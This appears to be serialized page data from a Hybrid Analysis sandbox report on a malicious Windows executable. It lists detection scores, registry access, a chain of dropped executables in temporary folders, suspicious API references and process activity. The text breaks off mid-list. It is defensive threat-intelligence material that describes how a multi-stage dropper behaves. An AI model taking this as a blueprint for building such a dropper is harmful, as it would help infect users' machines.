21:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/4109t72175nm8.js","/_next/static/chunks/04k_7k5p4krw4.js","/_next/static/chunks/30r--1re9i9ly.js"],"SampleDetailWrapper"] 61:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js"],"IconMark"] 20:T463,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Malware Sample e776c8b8f657… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample e776c8b8f657…. Malware family: Malware. Threat score 100/100. 5/27 AV engines flagged this file. 11 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/e776c8b8f6577d90f9fe9a73224690befcdd6a8060ca326c75ec9d5e5b1bd4b8","keywords":["Malicious","Malware","malware analysis","sandbox report","threat intelligence","e776c8b8f6577d90f9fe9a73224690befcdd6a8060ca326c75ec9d5e5b1bd4b8"],"about":{"@type":"SoftwareApplication","name":"file","applicationCategory":["peexe","executable"],"identifier":"e776c8b8f6577d90f9fe9a73224690befcdd6a8060ca326c75ec9d5e5b1bd4b8","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Malware","antivirusDetections":{"malicious":5,"total":27},"behavioralIndicators":{"malicious":11,"suspicious":22},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}22:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAACIiIcAAAAAAAAAAAAAAIiIiI+Hd3dwAAAAAAAACIiIiIiHd3eHdwAAAAAIiIj4iI/4d3d3iIdwAAAAd3/4iIiP/4d3ePiId3gAAHB/iIiIj/iIh3j4j3d3cABwf4d4iP/4iIeI+I93d3cAcHh3eIj/iIiHiPiId3d3AHB4iHeP+IiHiIj4iHd3dwBweIiI//iHd4iI+IhwAAAAcHd3ePiPd3eIiPiIcAAAAHB3d3j4+Hd3iIj4iHAAAABwd4h4//h3d4iI+IhwAAAAcHd3eIj4h3eIiPiIcAAAAHB4t4iP/4iIiIj4iHAAAABweHeIj/+IiIh/94hwAAAAcH+IiI//iIiIf/iIcAAAAHB/+IiP//iIiH/4iHAAAABwf/iIiIiIiHeP+IhwAAAAcH+Id3d4iIiIj/iIcAAAAHd4eIiIiPiIiP/4iHAAAAAIh3//iIj/////+IhwAAAAAAd///+P////+PeIcAAAAAAHf///+IiId3iIeHcAAAAAB3h3d3d3eIiIj4iHAAAAAAd4d3iI//////+Hh3AAAAAHeIeP////////+HeAAAAAB3iIj//////4iIiHgAAAiAd4iIj4iIiIiIiIeAAAAAAAj/iIiIiHiIiIiHAAAAAAAAAAh4iIiIiIh3gAAAAAgAAAAAAAAIAAAAAAiAAAD/+A///4AA//wAAH/AAAA/gAAAB4AAAAOAAAABgAAAAYAAAAGAAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD/AAAA/8AAAP/AAAB/wAAAf8AAAD/AAAA/wAAAPkAAAH/gAAD//gAB/v/7/nw==23:T516,"file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: ""; Value: "")24:T710,"tX4Xf64.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\tX4Xf64.exe]- [targetUID: 00000000-00006500] "yh9Qx09.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\yh9Qx09.exe]- [targetUID: 00000000-00007164] "4Tx380er.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\4Tx380er.exe]- [targetUID: 00000000-00006672] "2Zz0679.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP005.TMP\2Zz0679.exe]- [targetUID: 00000000-00005824] "mu6rE08.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\mu6rE08.exe]- [targetUID: 00000000-00007164] "1BU76bP5.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP005.TMP\1BU76bP5.exe]- [targetUID: 00000000-00005824] "Lb2xB02.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\Lb2xB02.exe]- [targetUID: 00000000-00007144] "nk2xW14.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\nk2xW14.exe]- [targetUID: 00000000-00007144] "5ur9cS3.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\5ur9cS3.exe]- [targetUID: 00000000-00007164] "6Pp6Px0.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\6Pp6Px0.exe]- [targetUID: 00000000-00006500] "7ho9Fx74.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\7ho9Fx74.exe]- [targetUID: 00000000-00007720] "3Ix70mE.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\3Ix70mE.exe]- [targetUID: 00000000-00007144]25:T427,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "file") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "file") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "6Pp6Px0.exe.125725185") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp")26:T147e,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007144-28772-78-00FC5C9E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007144-28772-78-00FC5C9E Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007144-28772-41-00FC6495 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007144-28772-41-00FC6495 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007144-28772-33-00FC2F1D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007144-28772-33-00FC2F1D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007144-28772-52-00FC4EFD Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007144-28772-52-00FC4EFD Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007144-28772-59-00FC621E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007144-28772-59-00FC621E Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007144-28772-71-00FC2CAA Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007144-28772-71-00FC2CAA Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007144-28772-37-00FC3FEF Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007144-28772-37-00FC3FEF Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00007144-28772-31-00FC2390 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00007144-28772-31-00FC2390 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007144-28772-43-00FC1AE8 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007144-28772-43-00FC1AE8 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007144-28772-74-00FC36EE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007144-28772-74-00FC36EE Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007144-28772-40-00FC2267 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007144-28772-40-00FC2267 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007144-28772-73-00FC17EE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007144-28772-73-00FC17EE Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00007144-28772-36-00FC3BA2 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00007144-28772-36-00FC3BA2 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007144-28772-29-00FC52B6 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007144-28772-29-00FC52B6 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007144-28772-77-00FC2773 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007144-28772-77-00FC2773 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007144-28772-42-00FC202A Assembly shows XOR instruction xor eax 01h in Stream UID: 00000000-00007144-28772-42-00FC202A Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007144-28772-42-00FC202A Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007144-28772-62-00FC55A0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007144-28772-62-00FC55A0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007144-28772-72-00FC18A3 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007144-28772-72-00FC18A3 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007144-28772-66-00FC2630 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007144-28772-66-00FC2630 Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00007144-28772-83-00FC7155 Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00007144-28772-83-00FC7155 Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00007144-28772-83-00FC7155 Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00007144-28772-83-00FC7155 Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00007144-28772-83-00FC7155 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007144-28772-26-00FC24E0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007144-28772-26-00FC24E0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007144-28772-60-00FC597D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007144-28772-60-00FC597D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007144-28772-63-00FC5467 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007144-28772-63-00FC5467 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007144-28772-57-00FC6298 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007144-28772-57-00FC6298 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007144-28772-44-00FC2AAC Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007144-28772-44-00FC2AAC27:T6f4,Found reference to API "GetVersion" (Indicator: "GetVersion"; File: "file") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; File: "file") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; File: "file") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; File: "7ho9Fx74.exe.421254636") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "1445140643,6224,3024,,RtlGetVersion,NTDLL.dll,"00:17:39.859",RX=0,PX=0" (Indicator: "GetVersion"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp")28:T720,Found reference to API "CreateFileA" (Indicator: "CreateFile"; File: "file") Found reference to API "CreateFileW" (Indicator: "CreateFile"; File: "6Pp6Px0.exe.125725185") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp")29:T711,Found reference to API "RegDeleteValueA" (Indicator: "RegDeleteValue"; File: "file") Found reference to API "RegDeleteValueA" (Indicator: "RegDeleteValue"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "" (Indicator: "RegDeleteValue"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found reference to API "" (Indicator: "RegDeleteValue"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found reference to API "" (Indicator: "RegDeleteValue"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API "" (Indicator: "RegDeleteValue"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API "RegDeleteValueA" (Indicator: "RegDeleteValue"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "" (Indicator: "RegDeleteValue"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found reference to API "" (Indicator: "RegDeleteValue"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found reference to API "RegDeleteValueA" (Indicator: "RegDeleteValue"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp")2a:T1289,Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: file] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: file] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: file] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: file] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: file] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: tX4Xf64.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: tX4Xf64.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: tX4Xf64.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: tX4Xf64.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: tX4Xf64.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: yh9Qx09.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: yh9Qx09.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: yh9Qx09.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: yh9Qx09.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: yh9Qx09.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: mu6rE08.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: mu6rE08.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: mu6rE08.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: mu6rE08.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: mu6rE08.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: Lb2xB02.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: Lb2xB02.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: Lb2xB02.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: Lb2xB02.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: Lb2xB02.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: nk2xW14.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: nk2xW14.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: nk2xW14.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: nk2xW14.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: nk2xW14.exe] Observed import api "GetSidIdentifierAuthority" which can "Returns a pointer to the SID_IDENTIFIER_AUTHORITY structure in a specified security identifier (SID)" [Source: 5ur9cS3.exe] Observed import api "GetSidSubAuthority" which can "Returns a pointer to a specified subauthority in a security identifier (SID)" [Source: 5ur9cS3.exe] Observed import api "GetSidSubAuthorityCount" which can "Returns a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: 5ur9cS3.exe]2b:T653,Found string "NDOWS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found string ":\WINDOWS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Local\Temp\IXP000.TMP\tX4Xf64.exe" (Indicator: "\Device\"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found string ":\WINDOWS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Local\Temp\IXP002.TMP\mu6rE08.exe" (Indicator: "\Device\"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp")2c:T67d,"file.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\tX4Xf64.exe" (UID: 7720) "tX4Xf64.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\yh9Qx09.exe" (UID: 6500) "yh9Qx09.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\mu6rE08.exe" (UID: 7164) "mu6rE08.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\Lb2xB02.exe" (UID: 6672) "Lb2xB02.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\nk2xW14.exe" (UID: 7144) "Lb2xB02.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\3Ix70mE.exe" (UID: 7144) "nk2xW14.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP\1BU76bP5.exe" (UID: 5824) "nk2xW14.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP\2Zz0679.exe" (UID: 5824) "1BU76bP5.exe" queries basic process information of the "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (UID: 6512) "AppLaunch.exe" queries basic process information of the "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (UID: 7048) "AppLaunch.exe" queries basic process information of the "C:\Windows\System32\winlogon.exe" (UID: 7048) "AppLaunch.exe" queries basic process information of the "C:\Windows\servicing\TrustedInstaller.exe" (UID: 7048) "2Zz0679.exe" queries basic process information of the "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (UID: 7244)2d:T9fa,"file.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "tX4Xf64.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "tX4Xf64.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" with delete access "yh9Qx09.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "yh9Qx09.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" with delete access "yh9Qx09.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" with delete access "mu6rE08.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "mu6rE08.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" with delete access "mu6rE08.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" with delete access "mu6rE08.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP" with delete access "Lb2xB02.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "Lb2xB02.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" with delete access "Lb2xB02.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" with delete access "Lb2xB02.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP" with delete access "Lb2xB02.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP" with delete access "nk2xW14.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "nk2xW14.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" with delete access "nk2xW14.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" with delete access "nk2xW14.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP" with delete access "nk2xW14.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP" with delete access "nk2xW14.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP" with delete access "nk2xW14.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP\2Zz0679.exe" with delete access "nk2xW14.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP\1BU76bP5.exe" with delete access2e:Te44,Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "file") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "file") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; File: "file") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "file") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; File: "file") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; File: "file") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; File: "file") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; File: "file") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: 